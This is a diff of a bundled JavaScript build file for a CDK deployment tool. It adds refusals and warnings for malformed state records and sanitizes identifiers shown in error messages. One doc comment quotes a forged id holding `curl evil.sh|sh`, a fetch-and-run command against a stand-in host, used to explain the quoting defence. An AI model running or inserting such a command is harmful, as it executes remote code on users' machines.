- * record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS`, not the
22016
- * 128 the prose uses: `cdkd orphan` reads a PREBUILT assembly's stack name
22118
+ * record the message is about. The cap is `STACK_REF_MAX_CODE_POINTS` — the cap
22119
+ * the prose also cuts a stack name at, never a region's 128 — because
22120
+ * `cdkd orphan` reads a PREBUILT assembly's stack name
22017
22121
  * unvalidated, so a manifest can carry one past 128 that is nonetheless the
22018
22122
  * record's real key, and truncating it names nothing — the same bound
22019
22123
  * `malformedDestroyResourcesRefusalMessage` uses, reached from a different
@@ -22025,8 +22129,8 @@ function dropRecordCommand(stackName, region, recovery) {
22025
22129
  * ({@link orphanInspectClause}) — so no two of them can disagree about a name
22026
22130
  * (go-to-k/cdkd#3363 review, M0 and M2). What it does NOT cover yet: the
22027
22131
  * destroy refusal and the divergent-region refusal above still spell the same
22028
- * test inline, and the shared {@link inspectCommand} is ungated at 128 for its
22029
- * other callers.
22132
+ * test inline, and the shared {@link inspectCommand} is ungated for its other
22133
+ * callers (it renders the stack at that same cap, the region at 128).
22030
22134
  */
22031
22135
  function rendersExactly(value) {
22032
22136
  return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS) === value;
@@ -22034,8 +22138,8 @@ function rendersExactly(value) {
22034
22138
  /** The remedy command {@link stackClause}'s message ends on. */
22035
22139
  function inspectCommand(stackName, region) {
22036
22140
  if (stackName === void 0) return `cdkd state show ${commandHole("stack")} --stack-region ${commandHole("region")} --json`;
22037
- const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
22038
- return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
22141
+ const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
22142
+ return `cdkd state show ${shellQuote(safeStackName(stackName))}${flag} --json`;
22039
22143
  }
22040
22144
  /**
22041
22145
  * The logical ids whose resource record carries a `properties` bag that cannot
@@ -22060,11 +22164,18 @@ function inspectCommand(stackName, region) {
22060
22164
  * it is one of the two shapes that used to die on a bare `TypeError` naming no
22061
22165
  * stack, no key and no remedy (`Cannot convert undefined or null to object`).
22062
22166
  *
22063
- * An entry that is not a readable OBJECT is SKIPPED rather than named, so this
22064
- * verdict is ORDER-INDEPENDENT with respect to the entry-level guard
22065
- * go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
22066
- * reading one off a string entry would name a per-character defect that is
22067
- * really the entry's. Likewise a `resources` bag that is not readable at all
22167
+ * An entry that is not a readable OBJECT is SKIPPED rather than named: a `null`
22168
+ * entry has no `properties` to test, and reading one off a string entry would
22169
+ * name a per-character defect that is really the entry's. That makes this
22170
+ * verdict independent of {@link unreadableResourceEntries} for every entry
22171
+ * that is not an object — but NOT for an object with no `resourceType` whose
22172
+ * `properties` map is also unreadable, which both predicates name. A read-only caller that takes both therefore drops
22173
+ * entries FIRST ({@link repairMalformedResourceEntriesForReadOnly}), so the
22174
+ * row is reported once, as unreadable, rather than warned about as a preview
22175
+ * and then dropped. The object test stays here rather than
22176
+ * {@link isReadableResourceEntry} because the deploy path takes this
22177
+ * predicate WITHOUT the entry one, and narrowing it would let a typeless
22178
+ * object with a torn map reach the comparison unrefused. Likewise a `resources` bag that is not readable at all
22068
22179
  * yields `[]` here rather than ids invented from a string's characters — that
22069
22180
  * class is {@link hasReadableResources}'s to report. What a caller must not do
22070
22181
  * is take only this one.
@@ -22164,9 +22275,8 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
22164
22275
  /**
22165
22276
  * The half the refusal and the warning share: what is wrong and which records.
22166
22277
  *
22167
- * ONE spelling rather than two, for the reason {@link malformedStateDetail}
22168
- * exists beside its own pair — the two texts differ only in what happens NEXT,
22169
- * and a second copy of the diagnosis is what drifts.
22278
+ * ONE spelling rather than two, because the two texts differ only in what
22279
+ * happens NEXT, and a second copy of the diagnosis is what drifts.
22170
22280
  *
22171
22281
  * The STACK and REGION go through {@link safeIdentifier} and are THEN
22172
22282
  * shell-quoted, for the reasons that helper's own note gives: each reaches this
@@ -22197,10 +22307,10 @@ function repairMalformedResourcePropertiesForReadOnly(state) {
22197
22307
  * id ending `Prod...`.
22198
22308
  *
22199
22309
  * The cap is passed EXPLICITLY although it equals the default: a logical id is
22200
- * valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
22201
- * {@link safeIdentifier} here is that its 128 would truncate a legitimate long
22202
- * id into one naming no record. Spelling the cap keeps that decision visible at
22203
- * the site it was made for.
22310
+ * valid up to `IDENT_MAX_CODE_POINTS` — the cap {@link displayLogicalId} also
22311
+ * takes — and a region-sized cut would truncate a legitimate long id into one
22312
+ * naming no record. Spelling the cap keeps that decision visible at the site it
22313
+ * was made for.
22204
22314
  *
22205
22315
  * Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
22206
22316
  * carrying one still renders bare inside this `', '`-joined list and reads as
@@ -22336,7 +22446,8 @@ function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds
22336
22446
  *
22337
22447
  * `rawStackName` / `rawRegion` are the CALLER's resolved identity — the synthesized
22338
22448
  * stack name and the region `pickStackRegion` settled on, never the record's
22339
- * own unvalidated self-report. See {@link stackClause}.
22449
+ * own unvalidated self-report (though an assembly-supplied stack name is not
22450
+ * validated either — go-to-k/cdkd#3360). See {@link stackClause}.
22340
22451
  */
22341
22452
  function malformedOrphanResourcePropertiesRefusalMessage(rawStackName, rawRegion, logicalIds, recovery) {
22342
22453
  const stackName = rawStackName === "" ? void 0 : rawStackName;
@@ -22572,6 +22683,214 @@ function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
22572
22683
  function producerRecordKey(stackName, region) {
22573
22684
  return JSON.stringify([stackName, region]);
22574
22685
  }
22686
+ /**
22687
+ * How many unreadable logical ids a message names before summarizing. Read by
22688
+ * every builder that names ids — the refusal below, `namedEntriesClause` and
22689
+ * `malformedOrphanRecordsWarning` — so "the refusal below" was the count of
22690
+ * readers at the time it was written, not a scope.
22691
+ *
22692
+ * Five rather than the ten the `cdkd export` baseline report uses: this text
22693
+ * already carries the remedy command, and that command has to stay on the
22694
+ * reader's screen (the reason {@link safeIdentifier} caps a name at all).
22695
+ */
22696
+ const NAMED_UNREADABLE_ENTRIES = 5;
22697
+ /**
22698
+ * The logical ids of every `resources` ENTRY that is not a readable object.
22699
+ *
22700
+ * A DIFFERENT shape from the unreadable BAG the rest of this module is about,
22701
+ * and one {@link hasReadableResources} says nothing about: it tests the bag, so
22702
+ * `{"resources": {"R": null}}` passes it and the `null` surfaces one
22703
+ * dereference later (issue go-to-k/cdkd#3018 items 1 and 2). Returns `[]` for an
22704
+ * unreadable BAG rather than inventing ids from it — a string bag would
22705
+ * otherwise yield one "id" per character. That makes the two refusals
22706
+ * ORDER-INDEPENDENT rather than ordered: whichever runs first, an unreadable
22707
+ * bag leaves this one silent and is caught by {@link refuseMalformedState}.
22708
+ * What a caller must not do is take only this one.
22709
+ */
22710
+ function unreadableResourceEntries(state) {
22711
+ if (!hasReadableResources(state)) return [];
22712
+ return Object.entries(state.resources).filter(([, entry]) => !isReadableResourceEntry(entry)).map(([logicalId]) => logicalId);
22713
+ }
22714
+ /**
22715
+ * Can this ENTRY be read as a resource record at all?
22716
+ *
22717
+ * Object-ness is NOT the whole question, and taking {@link isReadableBag} for
22718
+ * the answer left a shape crashing one line past the guard: `{"R": {}}` is an
22719
+ * object, so it passed, and then `resource.resourceType.startsWith(...)` threw
22720
+ * — the same bare `TypeError` the `null` entry beside it no longer produces.
22721
+ * `resourceType` is the one field every reader of an entry touches before any
22722
+ * other (the Custom-Resource routing, the provider lookup, the skip list), so
22723
+ * it is the field that decides whether the row can be read at all.
22724
+ *
22725
+ * Deliberately NOT a widening of {@link isReadableBag}. That predicate answers
22726
+ * a question about CONTAINERS — the bag, and the four rendered containers
22727
+ * go-to-k/cdkd#3187 added — and a resource-shaped test there would refuse an
22728
+ * `outputs` map for having no `resourceType`.
22729
+ *
22730
+ * It stops at `resourceType` rather than checking `physicalId` or `properties`
22731
+ * too, and the message this feeds says only what it checks: a row with a type
22732
+ * but no physical id IS readable here, fails per-resource where it is used, and
22733
+ * is reported by that command in its own terms.
22734
+ */
22735
+ function isReadableResourceEntry(entry) {
22736
+ return isReadableBag(entry) && typeof entry.resourceType === "string";
22737
+ }
22738
+ /**
22739
+ * For a command that READS each resource record and WRITES the bag back: refuse
22740
+ * the record naming the entries it could not read.
22741
+ *
22742
+ * **Deliberately NOT folded into {@link refuseMalformedState}**, and the reason
22743
+ * is behavioural rather than tidiness: folding it would decide, for every one of
22744
+ * that function's callers at once, that ANY unreadable row blocks the whole
22745
+ * command — a call none of them has made. `cdkd rollback` is the counter-example
22746
+ * that settles it: its executor reaches a record by logical id and treats a
22747
+ * falsy one as `skip-already-done`, so an unrelated broken row costs it nothing
22748
+ * and refusing would stop the command documented as the way to UNWIND a stack
22749
+ * whose state is already suspect. The other callers (`cdkd import`,
22750
+ * `cdkd orphan`, `cdkd scrub`) each owe their own classification; `cdkd orphan`
22751
+ * does still throw on an unreadable sibling, which is why that one is tracked on
22752
+ * go-to-k/cdkd#3202 rather than answered here by a shared refusal.
22753
+ *
22754
+ * So the entry rule is OPT-IN, taken by a flow that dereferences EVERY entry and
22755
+ * writes the record back.
22756
+ *
22757
+ * REFUSE rather than skip, at both sites that take it — `cdkd state
22758
+ * refresh-observed`, and `cdkd drift` under `--accept` / `--revert` — because
22759
+ * each is a WRITER. Skipping would report a clean run (`N refreshed, M
22760
+ * unsupported`; `N resources checked`) with the corrupt entries invisible and
22761
+ * then save the record back, so the ONE thing the user could have acted on
22762
+ * would be the thing the run did not say. Naming them costs nothing a skip
22763
+ * would have preserved either: both refusals happen before this stack's lock
22764
+ * and before any AWS read of it, so no partial work on it is thrown away.
22765
+ *
22766
+ * PER STACK, which is why the message says so — and the callers reach a
22767
+ * multi-stack refusal differently. `cdkd state refresh-observed` checks every
22768
+ * target's shape before it saves any, so a record ALREADY malformed stops the
22769
+ * run before a write; only one edited between that check and its own refresh
22770
+ * reaches this call after the stacks ahead of it were saved. `cdkd drift --all`
22771
+ * collects every stack's report before either writer runs. The message cannot
22772
+ * tell which case it is in, so it claims only what holds for both.
22773
+ *
22774
+ * That is not an argument that a skip is always wrong — the read-only twin
22775
+ * {@link repairMalformedResourceEntriesForReadOnly} does exactly that, for
22776
+ * plain `cdkd drift` and `cdkd diff`, and warns. What makes the difference is
22777
+ * the WRITE, not the shape.
22778
+ *
22779
+ * Unlike {@link repairMalformedResourcesForReadOnly} this never mutates: the
22780
+ * entries stay exactly as stored, which is what keeps the record's own evidence
22781
+ * intact for whoever inspects it next.
22782
+ */
22783
+ function refuseMalformedResourceEntries(state, stackName, region) {
22784
+ const unreadable = unreadableResourceEntries(state);
22785
+ if (unreadable.length === 0) return;
22786
+ throw new CdkdError(malformedResourceEntriesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED);
22787
+ }
22788
+ /**
22789
+ * For a READ-ONLY command: drop every entry {@link unreadableResourceEntries}
22790
+ * names, so the command can report on the rest, and return what it dropped so
22791
+ * the caller can warn.
22792
+ *
22793
+ * The entry-level twin of {@link repairMalformedResourcesForReadOnly}, and it
22794
+ * makes the same trade for the same reason: a command that cannot WRITE cannot
22795
+ * launder anything, and reporting on the readable resources beats aborting on
22796
+ * the first unreadable one. It is a DROP rather than a repair-to-`{}` because
22797
+ * there is no empty `ResourceState` that would be honest — a record with no
22798
+ * `resourceType` and no `physicalId` names no AWS resource — so the entry leaves
22799
+ * the working copy entirely and the caller says so.
22800
+ *
22801
+ * Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
22802
+ * has no entries to drop, and {@link unreadableResourceEntries} deliberately
22803
+ * returns `[]` for one rather than inventing ids from a string's characters.
22804
+ *
22805
+ * Mutates the in-memory record only. Every caller today renders from the
22806
+ * command's own derived output rather than echoing the record back, so the drop
22807
+ * is visible as missing ROWS — which is exactly what the warning describes.
22808
+ */
22809
+ function repairMalformedResourceEntriesForReadOnly(state) {
22810
+ const unreadable = unreadableResourceEntries(state);
22811
+ for (const logicalId of unreadable) delete state.resources[logicalId];
22812
+ return unreadable;
22813
+ }
22814
+ /** The warning a caller of {@link repairMalformedResourceEntriesForReadOnly} emits. */
22815
+ function malformedResourceEntriesWarning(stackName, region, logicalIds) {
22816
+ const stack = safeStackName(stackName);
22817
+ const reg = safeRegion(region);
22818
+ return `${namedEntriesClause(stackName, region, logicalIds)} Continuing WITHOUT them: this command's output describes the remaining resources only, which is not the same as the stack holding none of these. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22819
+ }
22820
+ /**
22821
+ * The `orphans[]` twin of {@link malformedResourceEntriesWarning}, and a
22822
+ * SEPARATE text rather than a parameter on that one.
22823
+ *
22824
+ * The shared clause says "holds N resource record(s) … the remaining resources
22825
+ * only", which sends a reader to the wrong container: the id it names was read
22826
+ * from `orphans`, and what that clause describes is the `resources` map
22827
+ * (go-to-k/cdkd#3226 review round 5, M16). Neither "the id is not in
22828
+ * `resources`" nor "that map is healthy" is safe to assert — an already-managed
22829
+ * logical id appears in both containers, and both can be damaged in one record,
22830
+ * which is the case where BOTH texts fire for one stack in one run, opening with
22831
+ * the identical sentence and differing only in the id list. That is why the
22832
+ * container has to be IN the sentence rather than inferred from it.
22833
+ *
22834
+ * What it does NOT say, deliberately: that the record would have been adopted.
22835
+ * `planOrphanAdoption` decides that, and a record it would have declined for
22836
+ * an unrelated reason (already managed, a type this binary cannot route) is
22837
+ * dropped here just the same — promising an adoption that was never going to
22838
+ * happen is the {@link malformedResourcePropertiesWarning} over-claim one
22839
+ * container over.
22840
+ *
22841
+ * Identifiers take the same path as every other builder here: the stack at
22842
+ * `safeStackName`, the region at `safeRegion`, each id through
22843
+ * {@link displayLogicalId}, and the ids capped at
22844
+ * {@link NAMED_UNREADABLE_ENTRIES} with an overflow count — a record whose
22845
+ * `logicalId` is not a string arrives as `''` and renders as the
22846
+ * `UNRENDERABLE` stand-in.
22847
+ */
22848
+ function malformedOrphanRecordsWarning(stackName, region, logicalIds) {
22849
+ const stack = safeStackName(stackName);
22850
+ const reg = safeRegion(region);
22851
+ const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
22852
+ const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
22853
+ const more = rest > 0 ? ` and ${rest} more` : "";
22854
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} rollback-orphan record(s) in 'orphans' that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type. Continuing WITHOUT them: they are not previewed for adoption. These ids were read from 'orphans'; the 'resources' map carries its own warning when it is damaged too. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22855
+ }
22856
+ /**
22857
+ * The half the refusal and the warning share: what is wrong and which entries.
22858
+ *
22859
+ * One spelling rather than two, because the two texts differ only in what
22860
+ * happens NEXT, and a second copy of the diagnosis is what drifts.
22861
+ */
22862
+ function namedEntriesClause(stackName, region, logicalIds) {
22863
+ const stack = safeStackName(stackName);
22864
+ const reg = safeRegion(region);
22865
+ const named = logicalIds.slice(0, NAMED_UNREADABLE_ENTRIES).map((id) => displayLogicalId(id)).join(", ");
22866
+ const rest = logicalIds.length - NAMED_UNREADABLE_ENTRIES;
22867
+ const more = rest > 0 ? ` and ${rest} more` : "";
22868
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) holds ${logicalIds.length} resource record(s) that cannot be read as resources — ${named}${more} — because they are not objects, or carry no resource type, so nothing can tell what AWS resource they name. The record is malformed or truncated.`;
22869
+ }
22870
+ /**
22871
+ * The text {@link refuseMalformedResourceEntries} raises.
22872
+ *
22873
+ * Every identifier — the stack, the region AND each logical id — is sanitized
22874
+ * and capped, for the reasons {@link safeIdentifier}'s note gives: all three
22875
+ * reach this message from a hand-edited record or an S3 key, and a
22876
+ * multi-kilobyte or line-forging one would push the remedy command off the
22877
+ * reader's screen. The stack and region are shell-quoted because they land in
22878
+ * the command. The logical ids take {@link displayLogicalId} instead: an id
22879
+ * spelled `x' Inspect it with: curl evil.sh|sh #` is not a plain identifier, so
22880
+ * it is wrapped in double quotes (an embedded `"` escaped) and its forged
22881
+ * remedy reads as part of one quoted id rather than as an instruction AHEAD of
22882
+ * the real one on this same line — the prose is one LINE ending in a pasteable
22883
+ * command, and sanitizing keeps `'`. Its other job is IDENTITY — see that
22884
+ * helper's note for why a trimmed id must not render bare.
22885
+ *
22886
+ * Exported so a test can pin the wording against the producer rather than
22887
+ * re-spelling it, the way the other messages here are consumed.
22888
+ */
22889
+ function malformedResourceEntriesRefusalMessage(stackName, region, logicalIds) {
22890
+ const stack = safeStackName(stackName);
22891
+ const reg = safeRegion(region);
22892
+ return `${namedEntriesClause(stackName, region, logicalIds)} This command can WRITE state, so it refuses rather than skipping them: saving over the record would report a clean run for entries nothing could read, and would leave the next command to fail on them with no more to go on. Nothing was locked, read from AWS or written FOR THIS STACK. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
22893
+ }
22575
22894
 
22576
22895
  //#endregion
22577
22896
  //#region src/analyzer/diff-calculator.ts
@@ -33244,7 +33563,7 @@ var CloudControlProvider = class {
33244
33563
  const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
33245
33564
  if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
33246
33565
  this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
33247
- const { ASGProvider } = await import("./asg-provider-B70ujDSS.js").then((n) => n.n);
33566
+ const { ASGProvider } = await import("./asg-provider-DPTeR_IT.js").then((n) => n.n);
33248
33567
  const asgProvider = new ASGProvider();
33249
33568
  return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
33250
33569
  }
@@ -46952,5 +47271,5 @@ var DeployEngine = class DeployEngine {
46952
47271
  };
46953
47272
 
46954
47273
  //#endregion
46955
- export { yellow as $, NestedStackChildDirectDestroyError as $i, identityKeyFor as $n, getDockerCmd as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, PARTITION_TABLE as Ai, refuseMalformedNestedChildOutputs as An, stringifyValue as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, setAwsClients as Bi, findSilentDropProperties as Bn, getBootstrapMarkerKey as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, CFN_TEMPLATE_URL_LIMIT as Ci, malformedOutputsWarning as Cn, importableOutputKeys as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Di, malformedStateRefusalMessage as Dn, orphansCarriedFrom as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, uploadCfnTemplate as Ei, malformedResourcesWarning as En, orphansAfterRollback as Er, deleteSkipReason as Et, extractDeploymentEventError as F, clearBucketRegionCache as Fi, refuseMalformedState as Fn, rewriteTemplateAssetReferences as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, DependencyError as Gi, STATE_SOURCED_BASELINE_RULES as Gn, validateContainerRepoName as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, CdkdError as Hi, withRetry as Hn, parseBootstrapMarker as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, resolveBucketRegion as Ii, repairMalformedOutputsForReadOnly as In, AssetModeResolver as Ir, isNamelessDynamicReferenceError as It, bold as J, IntrinsicResolutionRefusalError as Ji, TEMPLATE_SOURCED_RULES as Jn, describeDockerCapturedOutput as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, DeployCancelledError as Ki, STATE_SOURCED_CROSS_GENERATION_RULES as Kn, buildDenyExternalAccessPolicy as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, AwsClients as Li, repairMalformedResourcePropertiesForReadOnly as Ln, BOOTSTRAP_MARKER_PREFIX as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, derivePartitionAndUrlSuffix as Mi, refuseMalformedOutputsForDestroy as Mn, buildAssetRedirectMap as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, AssemblyReader as Ni, refuseMalformedResourcePropertiesForOrphan as Nn, createAssetRedirectResolver as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, decodeListingKey as Oi, producerRecordKey as On, shouldRetainResource as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, processStackMessages as Pi, refuseMalformedResourcesForDestroy as Pn, loadPublishableAssetManifest as Pr, getAccountInfo as Pt, red as Q, MalformedProducerRecordRefusalError as Qi, errorCauseChain as Qn, formatDockerLoginError as Qr, requireConfigArray as Qt, MULTI_REGION_RECREATE_BLOCKED_TYPES as R, getAwsClients as Ri, repairMalformedResourcesForReadOnly as Rn, assertAssetBucketRegion as Rr, parameterTypeMayLoseSecretIdentity as Rt, computeParameterTaint as S, CFN_TEMPLATE_BODY_LIMIT as Si, malformedOutputsRefusalMessage as Sn, hasUnverifiableParameterRefusal as Sr, isWaitAbandonedError as St, resourcesNamingDeclaredParameter as T, findLargeInlineResources as Ti, malformedResourcePropertiesWarning as Tn, isReadableBag as Tr, deleteIndeterminateGuards as Tt, coerceWarmThroughput as U, ConfigError as Ui, DagBuilder as Un, readBootstrapMarkerBody as Ur, resolveExplicitPhysicalId as Ut, renderStatefulReason as V, AssetError as Vi, describeTypeWithThrottleRetry as Vn, isCrossRegionRedirect as Vr, WAFv2WebACLProvider as Vt, isWarmThroughputDecrease as W, CrossAccountSecretRefusalError as Wi, TemplateParser as Wn, validateAssetBucketName as Wr, assertRegionMatch as Wt, gray as X, LocalStartServiceError as Xi, createSecretMasker as Xn, describeDockerFailure as Xr, readConfigString as Xt, cyan as Y, LocalInvokeBuildError as Yi, carriesSecretMask as Yn, describeDockerExecFailure as Yr, configStringRefusal as Yt, green as Z, LockError as Zi, dynamicReferenceTokens as Zn, dockerSpawnEnvWithSensitive as Zr, replayWarn as Zt, bagHoldsSecretExpression as _, markRedactedCause as _a, resolveStateBucketWithDefaultAndSource as _i, hasReadableOutputs as _n, CUSTOM_RESOURCE_RESPONSE_PREFIX as _r, endCommandInterruptScope as _t, DeploymentEventsStore as a, StackTerminationProtectionError as aa, stripControlChars as ai, s3BucketDomainName as an, recoverMaskedOutput as ar, secretBearingStateKeyWarning as at, mergeNoChangeOutputs as b, safeStringify$1 as ba, warnDeprecatedNoPrefixCliFlag as bi, malformedExportSourceWarning as bn, hasReadableExportSet as br, startInterruptWatch as bt, replayFailedOperations as c, formatError as ca, Synthesizer as ci, s3BucketWebsiteUrl as cn, LockManager as cr, IAMRoleProvider as ct, updatePartialMessage as d, withErrorHandling as da, getLegacyStateBucketName as di, applyCallerIdentityCredentials as dn, UNREPRODUCIBLE_LOCK_CLAUSE as dr, ProviderRegistry as dt, PartialFailureError as ea, partitionSensitiveEnv as ei, requireConfigString as en, isSingleDynamicReferenceToken as er, collectDeclaredOutputNames as et, updatePartialReason as f, isMarkedNonRetryable as fa, resolveApp as fi, callerEnvCredentials as fn, buildForceUnlockCommand as fr, wouldReturnToSdkProvider as ft, computeImplicitDeleteEdges as g, markNonRetryable as ga, resolveStateBucketWithDefault as gi, STATE_RESOURCES_MALFORMED as gn, shellQuote as gr, beginCommandInterruptScope as gt, IMPLICIT_DELETE_DEPENDENCIES as h, isTransientServerError as ha, resolveSkipPrefix as hi, INTRINSIC_KEYS as hn, formatLockExpiry as hr, maskerOrIdentity as ht, DeploymentEventsReader as i, StackHasActiveImportsError as ia, escapeRegExp$1 as ii, s3BucketArn as in, recordMaskOnlyValue as ir, secretBearing as it, isFinalSnapshotError as j, canonicalizeRegion as ji, refuseMalformedOutputs as jn, WorkGraph as jr, carriesFetchableDynamicReference as jt, ccRoutedFinalSnapshotError as k, expectedOwnerParam as ki, refuseDivergentRecordRegionForDestroy as kn, AssetPublisher as kr, IntrinsicFunctionResolver as kt, replayRollback as l, isCdkdError as la, synthesisStatusMessage as li, applyRoleArnIfSet as ln, S3StateBackend as lr, collectInlinePolicyNamesManagedBySiblings as lt, maskingRetryLogger as m, isThrottlingError as ma, resolveCaptureObservedState as mi, DiffCalculator as mn, forceQuitRecoveryClause as mr, maskDeep as mt, DEFAULT_RESOURCE_WARN_AFTER_MS as n, ResourceTimeoutError as na, runDockerForeground as ni, producerRegionsFromState as nn, maskSecretsInError as nr, exportAliasCollisionScrubWarning as nt, planFailedOps as o, StateError as oa, AssetManifestLoader as oi, s3BucketDualStackDomainName as on, redactSecretsForState as or, secretSafeKeyDisplay as ot, withResourceDeadline as p, isRetryableTransientError as pa, resolveAutoAssetStorage as pi, envCredentialsAreAssumedRole as pn, buildLockContentionMessage as pr, createMaskedRetryLogger as pt, formatResourceLine as q, DynamicReferenceRegionAmbiguousError as qi, STATE_SOURCED_READBACK_RULES as qn, buildDockerImage as qr, configBooleanRefusal as qt, DeployEngine as r, ResourceUpdateNotSupportedError as ra, runDockerStreaming as ri, withSharedDrainBudget as rn, maskSecretsInText as rr, isExportAliasCollision as rt, planRollback as s, SynthesisError as sa, getDockerImageBySourceHash as si, s3BucketRegionalDomainName as sn, scrubResourceRecord as sr, getCurrentResourceSecrets as st, DEFAULT_RESOURCE_TIMEOUT_MS as t, ProvisioningError as ta, redactDockerArgvValues as ti, classifyReplaySecretRegion as tn, markSameGenerationBag as tr, collectPublishedOutputNames as tt, resolveReplacementOldType as u, normalizeAwsError as ua, getDefaultStateBucketName as ui, AWS_CREDENTIAL_ENV_KEYS as un, rebuildClientForBucketRegion as ur, clearOnUpdateRemoval as ut, isSecretBearingReferenceString as v, retryClassificationText as va, resolveUseCdkBootstrapAssets as vi, hasReadableResources as vn, DEFAULT_STATE_PREFIX as vr, interruptWatchListenerCount as vt, reachableDivergentParameters as w, MIGRATE_TMP_PREFIX as wi, malformedRenderedContainersWarning as wn, importableOutputs as wr, UNSPECIFIED_SKIP_REASON as wt, bindingSkippedOutputs as x, __exportAll as xa, ssmResolvedValueType as xi, malformedLocalOutputsWarning as xn, hasReasonlessBaselineRefusal as xr, CloudControlProvider as xt, keptWholeReasonText as y, describeAwsFailure as ya, stateBucketExistenceConfirmed as yi, malformedExportNamesWarning as yn, exportNamesCarriedFrom as yr, isInterruptedWaitError as yt, isStatefulRecreateTargetForReplace as z, resetAwsClients as zi, findActionableSilentDrops as zn, ensureAssetStorage as zr, refStateLookupFromResource as zt };
46956
- //# sourceMappingURL=deploy-engine-BdYBI1uT.js.map
47274
+ export { yellow as $, CrossAccountSecretRefusalError as $i, TemplateParser as $n, validateAssetBucketName as $r, requireConfigObject as $t, createPreDeleteFinalSnapshot as A, __exportAll as Aa, ssmResolvedValueType as Ai, malformedResourcePropertiesWarning as An, hasReasonlessBaselineRefusal as Ar, carriesDynamicReference as At, isStatefulRecreateTargetSync as B, canonicalizeRegion as Bi, refuseMalformedResourcesForDestroy as Bn, WorkGraph as Br, isSettledInstanceState as Bt, namesAnyDeclaredParameter as C, isThrottlingError as Ca, resolveCaptureObservedState as Ci, malformedExportSourceWarning as Cn, forceQuitRecoveryClause as Cr, slowCcOperationTimeoutMs as Ct, PRE_DELETE_SNAPSHOT_TYPES as D, retryClassificationText as Da, resolveUseCdkBootstrapAssets as Di, malformedOutputsWarning as Dn, DEFAULT_STATE_PREFIX as Dr, disableInstanceApiTermination as Dt, ATOMIC_FINAL_SNAPSHOT_TYPES as E, markRedactedCause as Ea, resolveStateBucketWithDefaultAndSource as Ei, malformedOutputsRefusalMessage as En, CUSTOM_RESOURCE_RESPONSE_PREFIX as Er, deleteSkipReason as Et, extractDeploymentEventError as F, uploadCfnTemplate as Fi, refuseMalformedNestedChildOutputs as Fn, orphansAfterRollback as Fr, isImpossibleEmptyStoredAttribute as Ft, toCfnInteger as G, resolveBucketRegion as Gi, repairMalformedResourcesForReadOnly as Gn, AssetModeResolver as Gr, coerceCfnBoolean as Gt, WARM_THROUGHPUT_MEMBERS as H, AssemblyReader as Hi, repairMalformedOutputsForReadOnly as Hn, createAssetRedirectResolver as Hr, normalizeAwsTagsToCfn as Ht, makeSiblingClaimReader as I, CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION as Ii, refuseMalformedOutputs as In, orphansCarriedFrom as Ir, isNamelessDynamicReferenceError as It, bold as J, resetAwsClients as Ji, findActionableSilentDrops as Jn, ensureAssetStorage as Jr, configIntegerRefusal as Jt, toFiniteNumber as K, AwsClients as Ki, safeRegion as Kn, BOOTSTRAP_MARKER_PREFIX as Kr, coerceCfnInteger as Kt, planOrphanAdoption as L, decodeListingKey as Li, refuseMalformedOutputsForDestroy as Ln, shouldRetainResource as Lr, isUnboundTemplateParameter as Lt, refusesFinalSnapshot as M, CFN_TEMPLATE_URL_LIMIT as Mi, malformedStateRefusalMessage as Mn, importableOutputKeys as Mr, cfnRefValueFromPhysicalId as Mt, unsupportedFinalSnapshotError as N, MIGRATE_TMP_PREFIX as Ni, producerRecordKey as Nn, importableOutputs as Nr, coerceParameterTypedValue as Nt, buildFinalSnapshotIdentifier as O, describeAwsFailure as Oa, stateBucketExistenceConfirmed as Oi, malformedRenderedContainersWarning as On, exportNamesCarriedFrom as Or, isTerminationProtectionPropagationError as Ot, makeCanonicalizePropertiesFn as P, findLargeInlineResources as Pi, refuseDivergentRecordRegionForDestroy as Pn, isReadableBag as 